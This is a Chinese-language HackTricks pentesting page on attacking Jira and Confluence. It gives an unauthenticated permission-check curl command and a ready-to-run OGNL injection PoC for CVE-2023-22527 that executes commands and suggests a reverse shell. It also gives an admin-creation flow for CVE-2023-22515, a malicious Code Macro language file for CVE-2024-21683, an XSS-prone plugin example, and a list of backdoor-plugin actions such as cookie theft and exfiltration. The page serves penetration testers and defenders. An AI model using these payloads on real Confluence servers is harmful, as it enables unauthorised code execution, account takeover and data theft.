Jira & Confluence

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

检查权限

在 Jira 中,任何用户(已认证或未认证)都可以通过端点 /rest/api/2/mypermissions/rest/api/3/mypermissions 检查权限。这些端点会显示用户当前拥有的权限。值得注意的是,当未认证用户拥有权限时,这表明存在一个可能符合赏金条件的安全漏洞。同样,已认证用户出现意外权限也同样表明存在漏洞

2019 年 2 月 1 日 做了一个重要的 更新,要求 ‘mypermissions’ 端点必须包含一个 ‘permission’ 参数。此要求旨在通过指定要查询的权限来增强安全性check it here

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

示例: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

自动化枚举

近期 RCE 与 实践利用笔记 (Confluence)

CVE-2023-22527 – 无需认证的 template/OGNL injection (10.0)

  • 影响 Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5。易受攻击的 Velocity 模板 text-inline.vm 允许在无需认证的情况下评估 OGNL 表达式。
  • 快速 PoC(命令以 confluence 用户身份运行):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • 响应头 x-cmd 将包含命令输出。将 id 替换为 reverse shell payload。
  • 扫描器:nuclei template http/cves/2023/CVE-2023-22527.yaml(随 nuclei-templates ≥9.7.5 发布)。

CVE-2023-22515 – setup reactivation admin creation (auth bypass)

  • 对外可访问的 Confluence Data Center/Server 8.0.0–8.5.1 允许翻转 setupComplete 并重新运行 /setup/setupadministrator.action 来创建新的管理员账户。
  • 最小利用流程:
  1. GET /server-info.action(无需认证)以确认可达性。
  2. 使用包含 buildNumber 参数的 POST /server-info.action 来切换 setup 标志。
  3. 使用包含 fullNameemailusernamepasswordconfirmPOST /setup/setupadministrator.action 来创建管理员。

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Confluence 管理员可以在 Configure Code Macro 中上传精心构造的语言定义;Rhino 引擎会执行其中嵌入的 Java,从而导致 RCE。
  • 要获得 shell,请上传一个包含如下 payload 的 .lang 文件:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • 通过在任何 Code Macro 正文中选择恶意语言触发。Metasploit 模块 exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 自动化 auth + upload + exec。

Atlasian 插件

正如这篇 blog 所示,在关于 Plugin modules ↗ 的文档中,可以查看不同类型的插件,例如:

This is an example of the macro plugin type:

Macro 插件示例 ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

可以观察到,这些插件可能易受常见的 web 漏洞(例如 XSS)的影响。例如,上面的示例存在漏洞,因为它反射了用户提供的数据。

一旦发现 XSS,可以在 [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) 中找到一些 payloads 来扩大 XSS 的影响。

## Backdoor Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) 描述了恶意 Jira 插件可能执行的不同(恶意)操作。你可以在 [**code example in this repo**](https://github.com/cyllective/malfluence) 找到代码示例。

These are some of the actions a malicious plugin could perform:

- **Hiding Plugins from Admins**: 可以通过注入一些 front-end javascript 来隐藏恶意插件。
- **Exfiltrating Attachments and Pages**: 允许访问并 exfiltrate 所有数据。
- **Stealing Session Tokens**: 可以添加一个 endpoint,在响应中回显 headers(包含 cookie),并添加一些 javascript 去联系该 endpoint 并 leak the cookies。
- **Command Execution**: 当然可以创建一个会执行代码的插件。
- **Reverse Shell**: 或者获取一个 reverse shell。
- **DOM Proxying**: 如果 confluence 位于私有网络内,可以通过具有访问权限的用户的浏览器建立连接,例如通过该连接联系服务器并执行命令。

## References

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> 学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>